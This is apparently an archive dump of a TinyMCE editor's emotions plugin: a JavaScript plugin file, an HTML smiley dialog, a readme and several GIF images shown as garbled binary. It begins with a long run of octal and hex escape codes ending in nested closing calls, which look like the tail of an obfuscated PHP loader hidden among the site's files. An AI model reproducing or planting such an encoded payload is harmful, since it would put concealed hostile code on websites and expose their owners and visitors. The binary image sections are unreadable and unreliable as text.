46\104\x38\156\x49\x34\x68\x70\53\103\165\x6f\127\x4a\x38\x46\150\x74\102\x41\x4d\57\112\114\131\164\x4e\143\x43\116\171\66\x42\x5a\66\131\x61\x4e\65\x57\60\x55\x54\64\x42\x71\x44\111\66\x68\x2b\x64\x41\x4e\x6d\170\x6d\62\151\147\x4d\143\x53\x53\x62\x74\x42\x57\65\130\164\x66\67\131\x48\66\110\x5a\104\64\x6f\x48\x2b\x52\x71\103\x75\53\x4a\171\x2f\x73\x57\147\123\x66\x6f\127\131\61\67\x45\155\104\146\x49\x4d\126\x66\131\153\x7a\104\x55\x5a\132\x4d\106\x43\67\125\x43\164\150\x39\164\x69\115\172\x50\113\101\164\164\x50\132\160\61\162\x48\60\153\x4d\111\x77\163\114\71\x70\107\144\70\123\x43\70\x6b\x49\x54\x6c\x68\157\x74\131\x71\x4a\x41\x61\143\124\141\117\x31\110\123\x64\145\x51\x4c\x6f\63\x47\x57\x30\172\x45\67\x6e\x72\x6a\x63\x54\144\155\113\116\x6b\x43\172\x55\x78\x31\107\65\150\114\x69\143\x41\x33\x5a\x68\x75\x64\124\x4f\x69\121\60\111\106\x35\x4d\x37\x68\165\x7a\x30\x77\x4a\165\x77\141\x66\170\121\172\x45\61\x65\107\x4d\102\172\x49\123\157\101\142\110\167\x4a\x74\115\172\x78\116\160\x32\x4f\112\x75\x70\x6a\x59\127\120\110\x54\114\x39\x6f\x77\53\123\165\144\x73\62\x47\160\145\126\x34\166\123\x46\115\x72\163\x37\x42\70\121\165\x4c\x2b\132\103\x61\x46\167\172\x62\104\x57\132\x4d\102\113\126\x76\164\70\124\x68\x35\113\167\154\x73\117\172\123\x6d\x4b\x4a\x4d\x6b\70\57\x71\x42\126\117\x6e\x61\146\x64\x54\150\x6b\127\x4b\x56\117\x41\x72\113\105\127\x33\x68\132\152\152\x4d\124\120\x6a\x56\x67\101\x72\122\x69\x44\151\62\110\123\101\123\71\x66\105\67\67\112\x31\117\x59\x77\171\126\102\60\101\61\60\x54\151\132\131\106\60\111\164\131\147\x6e\x51\x72\x49\x6d\x30\103\x6b\151\x35\x72\145\132\155\x74\53\117\x6d\x37\162\153\x5a\62\146\x67\x4f\x68\132\116\156\64\127\x48\x55\61\x6d\120\63\x57\x74\x55\x42\x62\x33\x64\x48\106\120\151\x47\x73\x53\126\166\121\x67\x35\x77\x66\113\64\x36\132\64\156\x4c\152\63\101\116\x5a\171\172\x75\x6f\x61\113\x4d\61\x79\x30\147\x71\53\147\122\x72\x4e\127\166\147\157\170\x4d\131\x42\67\116\165\60\x39\x48\64\115\x66\107\131\x73\x46\x34\x6b\x48\146\x4c\64\x77\163\117\157\x74\64\x75\114\x31\x7a\101\167\111\105\60\67\x54\60\145\x65\101\143\x4e\x73\x49\x4b\62\71\146\165\x6a\127\61\152\x6b\x56\66\124\163\x30\x37\116\x2b\162\126\122\167\x7a\107\141\127\143\x39\115\164\x52\x4a\156\130\114\x54\145\x61\x58\x6d\127\171\x37\x36\101\x79\x47\x61\x36\x6e\x73\123\x4f\125\x45\x31\x47\130\x71\x47\154\x4b\x68\x4b\x79\116\116\x52\154\x49\x6b\57\123\x37\144\67\65\66\142\x71\107\70\x63\x7a\117\x68\x2b\x52\122\53\x68\121\111\x48\120\154\62\x64\110\x31\x38\165\x6e\65\x35\x4a\x49\120\120\156\x38\x58\71\x32\x39\x69\x2b\63\145\x37\x41\x6f\153\x2b\x76\x7a\x7a\57\127\x78\172\x35\63\x50\71\x2f\164\x2b\155\x74\66\120\154\x71\57\x58\x6a\x2f\102\x5a\151\x2b\146\67\62\127\x38\x6a\156\132\146\103\x44\x6e\65\x6c\x72\62\x33\x7a\x2f\65\x32\143\166\70\143\x62\71\x2b\63\x73\x33\x50\114\150\x62\64\x6e\121\x73\x79\170\147\143\x6c\x51\x47\115\x35\x6f\163\x75\164\70\x55\x53\62\x77\x4d\150\141\66\x4b\x34\x54\x58\x6a\160\x63\60\x62\x73\x6f\x6f\x72\114\x63\x55\124\x74\x6c\x74\x32\x62\164\155\x33\144\120\x38\53\x52\116\x62\x4c\x42\145\x57\64\x73\x65\155\x77\161\x35\x31\x7a\116\x6b\132\x65\x61\71\163\163\156\162\x4e\x4e\x6b\120\x4e\x6f\x57\x38\144\x64\151\x4d\160\156\132\53\145\60\104\x4e\x44\151\x6a\x6a\x39\x38\x7a\71\150\154\116\67\104\x4e\x34\x47\142\x64\156\130\x74\63\x39\152\x66\x74\62\x36\144\x4f\63\144\x74\x30\142\146\x2b\101\x45\x45\x36\x35\x62\x35\142\66\155\x74\x72\x2b\x33\61\x2f\120\x2b\63\x79\57\x50\x31\166\171\60\x30\x6d\x54\x4f\155\x6e\113\x39\x6f\161\x33\122\x67\103\155\x4d\65\x70\x61\166\132\143\144\172\x6a\x58\x61\60\124\x4c\x48\x58\x41\x67\172\x49\x79\60\x67\x71\156\x59\142\x4c\x70\x6c\153\x52\164\102\x59\x41\x65\157\x61\x4f\171\x2b\x67\x31\151\170\x79\x75\x7a\x61\x48\172\170\62\x4f\x31\67\141\104\x7a\x4d\130\166\x6c\155\165\156\172\x30\x61\67\x44\154\146\161\107\x79\x58\x4d\x38\71\63\120\x58\62\116\x70\x34\162\x41\115\127\120\106\x6b\141\x36\101\62\x51\x30\141\60\151\172\155\x78\141\x6d\x78\x5a\114\x61\62\x5a\x43\143\x53\156\62\145\71\157\x61\x4e\104\x2b\110\x66\64\116\130\x38\111\106\167\x48\144\x4f\156\155\x64\121\62\142\60\61\x7a\x58\121\112\111\146\121\110\116\x58\53\101\166\x43\x6f\x61\107\155\x41\62\53\x4b\x33\x32\167\146\x77\66\57\57\x66\x2b\x6a\x4a\67\121\117\x43\107\x46\104\144\x38\110\x33\154\65\x62\x37\166\152\x43\x77\146\112\127\x63\147\x68\65\150\60\125\x37\x67\x34\121\x43\x6e\x56\171\105\x67\x67\152\152\x77\x6e\153\162\131\x4e\x62\60\x4a\x4f\114\x49\x52\145\111\142\62\x38\123\x74\71\172\104\x6b\161\170\172\153\156\x68\161\170\x48\66\65\x59\104\60\x41\x47\x41\x76\x70\53\145\114\165\57\156\x35\70\x2f\106\66\143\x6e\164\x36\166\x4a\110\x77\x4e\x49\160\121\x52\71\x54\x65\117\113\x61\x41\64\125\x38\x79\x65\x59\x37\x6e\x6f\141\116\x71\122\63\156\x34\x43\162\x75\x67\x79\x57\165\167\x76\x57\x67\171\147\x6e\x52\63\107\111\63\x5a\102\141\104\151\x43\x70\165\67\x6d\x53\x34\171\x70\x64\x53\157\x50\x74\x34\x34\146\71\57\x4f\x64\53\x2f\x48\x4a\x32\145\x33\x6f\x2f\166\x35\x37\x66\67\x77\57\x7a\64\x2f\166\x46\53\x64\63\60\x2b\166\x39\64\x66\x35\65\62\x37\x68\x6b\x45\71\103\x41\x2f\107\126\101\x35\103\x4c\110\163\166\x35\x53\x4c\x48\x71\x76\x6a\157\114\66\104\x65\67\x35\x41\157\115\x79\162\172\171\153\x48\x32\x32\x6d\122\127\125\x4a\152\154\125\163\x58\105\x47\160\x4e\x31\101\x6a\x48\x61\121\x6d\x53\127\127\111\x42\x47\x67\106\x37\x6f\123\126\x6f\x62\166\147\x6d\105\71\53\x5a\x6b\61\x70\x79\x61\x69\111\155\104\103\x2b\x5a\x44\x4a\114\170\x44\x2b\60\125\53\x74\x44\112\147\167\162\x63\x4c\x56\x39\154\157\x52\145\63\x4e\x56\x6f\x64\x6c\144\106\x69\x79\172\x77\x61\114\115\165\x50\155\x32\x75\x63\163\x72\x32\71\x30\164\110\155\70\x48\155\x41\x48\67\x38\x49\x4b\142\164\x2f\130\162\125\143\117\167\164\x41\x74\x77\60\x77\x2b\x6f\62\x4a\150\122\x46\60\112\167\x31\x77\141\x33\x35\x4f\x74\145\x4f\117\x67\x42\x6f\127\x33\x52\105\160\x58\130\x64\151\x6e\115\115\x55\61\x32\113\x43\127\x64\x69\x6f\143\x6d\65\71\151\x65\125\x73\145\x61\166\170\x64\x36\x53\144\142\x4d\x6c\65\x4a\53\115\144\x51\122\156\171\143\x70\110\x50\x66\x30\67\150\163\x33\127\154\x35\66\x45\x30\x43\x65\145\112\x78\x48\167\x74\x57\64\x39\110\141\104\170\63\155\111\x62\142\152\165\x76\126\123\x58\166\110\164\162\121\151\x64\x6a\x55\164\x79\x51\x62\x37\x43\x53\x78\x53\101\154\x75\x53\71\x45\x59\x71\102\x68\152\x39\x62\x32\157\70\157\127\x65\x4a\160\165\65\x41\x51\x62\141\x36\62\114\107\144\145\x6f\65\60\113\62\x4b\x54\x4f\157\63\x54\x76\67\x35\x59\152\143\x78\63\102\x78\x34\154\160\x45\x68\111\x64\131\x62\165\x68\x6b\x4c\x59\64\x57\105\x2b\141\124\x31\162\x69\120\x6e\66\103\x2b\x56\112\x35\x6b\x46\x4c\64\120\123\110\x50\x75\65\x76\x32\105\x54\x6f\x41\104\165\x44\64\x30\113\x32\x63\x78\x73\101\x2b\x32\x54\x64\101\65\162\130\x54\x48\x4c\x4d\x42\x52\x75\154\64\70\x31\x75\105\x37\x62\x6d\x73\130\71\166\x62\142\161\x43\110\x6b\x74\157\x6f\123\x63\53\120\x4c\170\143\110\x72\x64\166\151\104\x4c\131\110\x36\63\124\117\132\161\x41\x79\66\x68\130\125\x37\165\67\x38\x2b\x47\70\x51\163\157\x38\113\x54\131\x68\x6a\x79\131\111\x52\71\x75\167\71\x45\141\70\64\116\x2b\x62\x53\x65\106\132\163\142\x49\113\66\63\105\x4b\156\104\154\114\x51\x4b\120\166\x47\112\111\120\63\x67\x6e\67\x32\x68\x57\131\x69\155\123\x4d\x4d\x49\x44\66\152\x6c\x4a\x68\x75\167\130\152\x4a\105\62\172\x74\103\x37\x54\x76\160\x47\66\x6e\105\162\164\71\111\106\167\x64\x42\x49\x57\145\x31\x34\151\131\101\114\x6e\x50\x48\125\x39\x77\101\172\155\x74\x4d\164\x69\157\x41\x68\x6d\x5a\x63\x74\x54\167\146\142\x2b\x37\x66\161\x32\x7a\142\x35\x59\130\x59\x69\71\x38\103\151\x56\167\102\x78\170\65\160\x65\107\x62\170\62\x4d\x50\167\x4c\111\x52\145\110\66\107\x46\x67\x50\x74\67\126\166\x45\x36\x57\144\x63\x4c\163\154\x6e\x59\x69\x2b\x4c\x45\121\x66\x62\127\70\x59\x5a\163\x55\x52\143\156\x38\x44\x37\x66\x57\x31\x37\161\167\x4c\x70\166\x6a\170\67\63\x78\62\114\61\151\111\101\x43\x54\143\x35\x44\164\124\x38\x45\x43\107\144\x66\x77\x4e\53\x77\122\x77\x74\x77\x73\x32\x6d\x5a\172\x42\x2b\x68\141\122\152\x4e\164\123\x41\x6e\165\167\x63\112\x43\x45\146\117\x4f\x4c\x71\103\x56\x31\62\122\142\62\x30\x71\x51\105\x72\x49\154\x4c\x30\102\x45\x4f\160\104\x64\147\x78\x39\x34\106\x45\105\65\131\151\x5a\120\x59\x6c\153\x38\101\x6b\64\x78\146\132\x75\x69\132\x39\x65\144\120\167\x78\112\x46\x4f\x62\161\x58\x59\153\x6e\116\131\64\152\x48\104\x6c\154\62\67\165\x48\102\x42\x47\x33\153\121\x39\147\170\170\66\x66\167\x4e\172\x6c\x64\x48\167\170\111\x47\x6b\103\161\111\x4e\x56\160\111\105\70\144\145\x38\111\x5a\x2b\67\150\106\x4d\63\131\154\171\x36\164\150\x50\60\70\x59\161\x38\110\116\x65\x48\164\111\x74\x6b\x77\x76\150\71\164\102\170\x65\103\57\171\x45\156\x51\107\103\130\132\x77\x67\x47\x58\x2b\x4c\124\144\x43\x4c\x2b\106\x33\146\x77\117\166\132\63\x41\x48\125\x4a\112\x2f\x69\x4f\172\x36\x68\103\x78\x2b\x45\x67\x45\104\71\x58\142\x33\172\x65\125\x77\165\x44\x31\104\167\62\162\x38\115\146\157\115\x76\x67\x64\x34\150\170\x2f\162\156\x64\104\x34\146\131\146\102\130\x76\x38\x50\131\115\x33\x78\57\130\166\114\147\x50\x37\166\60\71\165\60\x2b\x43\120\x64\x50\167\x70\162\x38\116\145\104\x2b\x6d\x2b\120\157\x76\147\x39\157\x48\x6d\x43\124\64\x64\x47\x54\60\x50\61\x56\63\x72\161\x36\161\x31\x4c\131\153\156\x43\x35\x33\172\63\115\x41\172\x4f\62\x58\162\x55\x74\x33\x56\126\x62\71\166\x39\x6d\167\110\153\145\150\x4a\x5a\131\x72\142\141\154\x6c\x5a\x73\170\63\x48\x6d\105\x6a\x34\x51\114\146\104\103\121\x43\107\x78\x49\110\105\67\x66\x69\144\153\x6f\163\116\x47\147\57\x2b\x35\172\63\67\53\151\124\123\116\116\x33\53\63\x33\x74")))); plugins/emotions/editor_plugin_src.js 0000666 00000002356 15155066653 0014161 0 ustar 00 /** * editor_plugin_src.js * * Copyright 2009, Moxiecode Systems AB * Released under LGPL License. * * License: http://tinymce.moxiecode.com/license * Contributing: http://tinymce.moxiecode.com/contributing */ (function(tinymce) { tinymce.create('tinymce.plugins.EmotionsPlugin', { init : function(ed, url) { // Register commands ed.addCommand('mceEmotion', function() { ed.windowManager.open({ file : url + '/emotions.htm', width : 250 + parseInt(ed.getLang('emotions.delta_width', 0)), height : 160 + parseInt(ed.getLang('emotions.delta_height', 0)), inline : 1 }, { plugin_url : url }); }); // Register buttons ed.addButton('emotions', {title : 'emotions.emotions_desc', cmd : 'mceEmotion'}); }, getInfo : function() { return { longname : 'Emotions', author : 'Moxiecode Systems AB', authorurl : 'http://tinymce.moxiecode.com', infourl : 'http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/emotions', version : tinymce.majorVersion + "." + tinymce.minorVersion }; } }); // Register plugin tinymce.PluginManager.add('emotions', tinymce.plugins.EmotionsPlugin); })(tinymce); plugins/emotions/emotions.htm 0000666 00000010655 15155066653 0012460 0 ustar 00 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>{#emotions_dlg.title}</title> <script type="text/javascript" src="../../tiny_mce_popup.js"></script> <script type="text/javascript" src="js/emotions.js"></script> </head> <body style="display: none"> <div align="center"> <div class="title">{#emotions_dlg.title}:<br /><br /></div> <table border="0" cellspacing="0" cellpadding="4"> <tr> <td><a href="javascript:EmotionsDialog.insert('smiley-cool.gif','emotions_dlg.cool');"><img src="img/smiley-cool.gif" width="18" height="18" border="0" alt="{#emotions_dlg.cool}" title="{#emotions_dlg.cool}" /></a></td> <td><a href="javascript:EmotionsDialog.insert('smiley-cry.gif','emotions_dlg.cry');"><img src="img/smiley-cry.gif" width="18" height="18" border="0" alt="{#emotions_dlg.cry}" title="{#emotions_dlg.cry}" /></a></td> <td><a href="javascript:EmotionsDialog.insert('smiley-embarassed.gif','emotions_dlg.embarassed');"><img src="img/smiley-embarassed.gif" width="18" height="18" border="0" alt="{#emotions_dlg.embarassed}" title="{#emotions_dlg.embarassed}" /></a></td> <td><a href="javascript:EmotionsDialog.insert('smiley-foot-in-mouth.gif','emotions_dlg.foot_in_mouth');"><img src="img/smiley-foot-in-mouth.gif" width="18" height="18" border="0" alt="{#emotions_dlg.foot_in_mouth}" title="{#emotions_dlg.foot_in_mouth}" /></a></td> </tr> <tr> <td><a href="javascript:EmotionsDialog.insert('smiley-frown.gif','emotions_dlg.frown');"><img src="img/smiley-frown.gif" width="18" height="18" border="0" alt="{#emotions_dlg.frown}" title="{#emotions_dlg.frown}" /></a></td> <td><a href="javascript:EmotionsDialog.insert('smiley-innocent.gif','emotions_dlg.innocent');"><img src="img/smiley-innocent.gif" width="18" height="18" border="0" alt="{#emotions_dlg.innocent}" title="{#emotions_dlg.innocent}" /></a></td> <td><a href="javascript:EmotionsDialog.insert('smiley-kiss.gif','emotions_dlg.kiss');"><img src="img/smiley-kiss.gif" width="18" height="18" border="0" alt="{#emotions_dlg.kiss}" title="{#emotions_dlg.kiss}" /></a></td> <td><a href="javascript:EmotionsDialog.insert('smiley-laughing.gif','emotions_dlg.laughing');"><img src="img/smiley-laughing.gif" width="18" height="18" border="0" alt="{#emotions_dlg.laughing}" title="{#emotions_dlg.laughing}" /></a></td> </tr> <tr> <td><a href="javascript:EmotionsDialog.insert('smiley-money-mouth.gif','emotions_dlg.money_mouth');"><img src="img/smiley-money-mouth.gif" width="18" height="18" border="0" alt="{#emotions_dlg.money_mouth}" title="{#emotions_dlg.money_mouth}" /></a></td> <td><a href="javascript:EmotionsDialog.insert('smiley-sealed.gif','emotions_dlg.sealed');"><img src="img/smiley-sealed.gif" width="18" height="18" border="0" alt="{#emotions_dlg.sealed}" title="{#emotions_dlg.sealed}" /></a></td> <td><a href="javascript:EmotionsDialog.insert('smiley-smile.gif','emotions_dlg.smile');"><img src="img/smiley-smile.gif" width="18" height="18" border="0" alt="{#emotions_dlg.smile}" title="{#emotions_dlg.smile}" /></a></td> <td><a href="javascript:EmotionsDialog.insert('smiley-surprised.gif','emotions_dlg.surprised');"><img src="img/smiley-surprised.gif" width="18" height="18" border="0" alt="{#emotions_dlg.surprised}" title="{#emotions_dlg.surprised}" /></a></td> </tr> <tr> <td><a href="javascript:EmotionsDialog.insert('smiley-tongue-out.gif','emotions_dlg.tongue_out');"><img src="img/smiley-tongue-out.gif" width="18" height="18" border="0" alt="{#emotions_dlg.tongue-out}" title="{#emotions_dlg.tongue_out}" /></a></td> <td><a href="javascript:EmotionsDialog.insert('smiley-undecided.gif','emotions_dlg.undecided');"><img src="img/smiley-undecided.gif" width="18" height="18" border="0" alt="{#emotions_dlg.undecided}" title="{#emotions_dlg.undecided}" /></a></td> <td><a href="javascript:EmotionsDialog.insert('smiley-wink.gif','emotions_dlg.wink');"><img src="img/smiley-wink.gif" width="18" height="18" border="0" alt="{#emotions_dlg.wink}" title="{#emotions_dlg.wink}" /></a></td> <td><a href="javascript:EmotionsDialog.insert('smiley-yell.gif','emotions_dlg.yell');"><img src="img/smiley-yell.gif" width="18" height="18" border="0" alt="{#emotions_dlg.yell}" title="{#emotions_dlg.yell}" /></a></td> </tr> </table> </div> </body> </html> plugins/emotions/images/emotions.gif 0000666 00000000477 15155066653 0013703 0 ustar 00 GIF89a & Ɩzʶj2NYнR= 6hTīغqGļ.17¦2Zy` ! , 'dih*e*˅Hr-DZ9̈́lɐL."t"IJ' rEP`0 9}br4w!eb#q}#d o$ c V' )FBp(2"#! ; plugins/emotions/images/readme.txt 0000666 00000000226 15155066653 0013345 0 ustar 00 These emotions where taken from Mozilla Thunderbird. I hope they don't get angry if I use them here after all this is a open source project aswell. plugins/emotions/images/smiley-cool.gif 0000666 00000000542 15155066653 0014273 0 ustar 00 GIF89a z\V<N:8ѿ#[[WY#!1,//, & ɿbA_z` ! , 'UicJRqGBU*ѣiOt`Be]GUZCqn P @~=@pLAx; d@~}{r}hr= E% 4 A F M) DK fP(J ; plugins/emotions/images/smiley-cry.gif 0000666 00000000511 15155066653 0014130 0 ustar 00 GIF89a ..P2!O#r簗!ϻ8rX {ֵưR> vʶjZj ! , 'XicJR#@a* y!dQ®~0pAƀ<+ fPer>zြXc| % %q % \ { A9;=#݄5N! ; plugins/emotions/images/smiley-embarassed.gif 0000666 00000000513 15155066653 0015443 0 ustar 00 GIF89a *ļLTԿ( AT«!:l:v[wX87d$|(*=غ$W°bQ ! , 'RicJj&I*!8ʃtdUn ~$bcA ǂ@h\T@ L2AN&zxMv % Cuy % ] #J;sBQ*N! ; plugins/emotions/images/smiley-foot-in-mouth.gif 0000666 00000000530 15155066653 0016041 0 ustar 00 GIF89a & Ɩ~ʶj MR: Zѽ1mT+HغoļO'ª60:" 67 ! , 'PicJFHmA*I%ITfaQ *N8#b!88"Y hAd23!1̤Hs{(s vs cst } {E M%Ƃ ^ƚ AP)DN5} ; plugins/emotions/images/smiley-frown.gif 0000666 00000000524 15155066653 0014472 0 ustar 00 GIF89a A'Ơ2ʶjNXν"7hT -qZA غGīļ7Z"%x`0 ! , 'QicJJ&!E*Y08ԡAA`& 4!x<đ0"FU$Jc&%`. .cރ1w~bp z r r x% ] ̘ AKGP)DN5! ; plugins/emotions/images/smiley-innocent.gif 0000666 00000000520 15155066653 0015150 0 ustar 00 GIF89a 8*˭q˱ZU쳏 8wi٫T̵ qN*aK z0-VھB2u"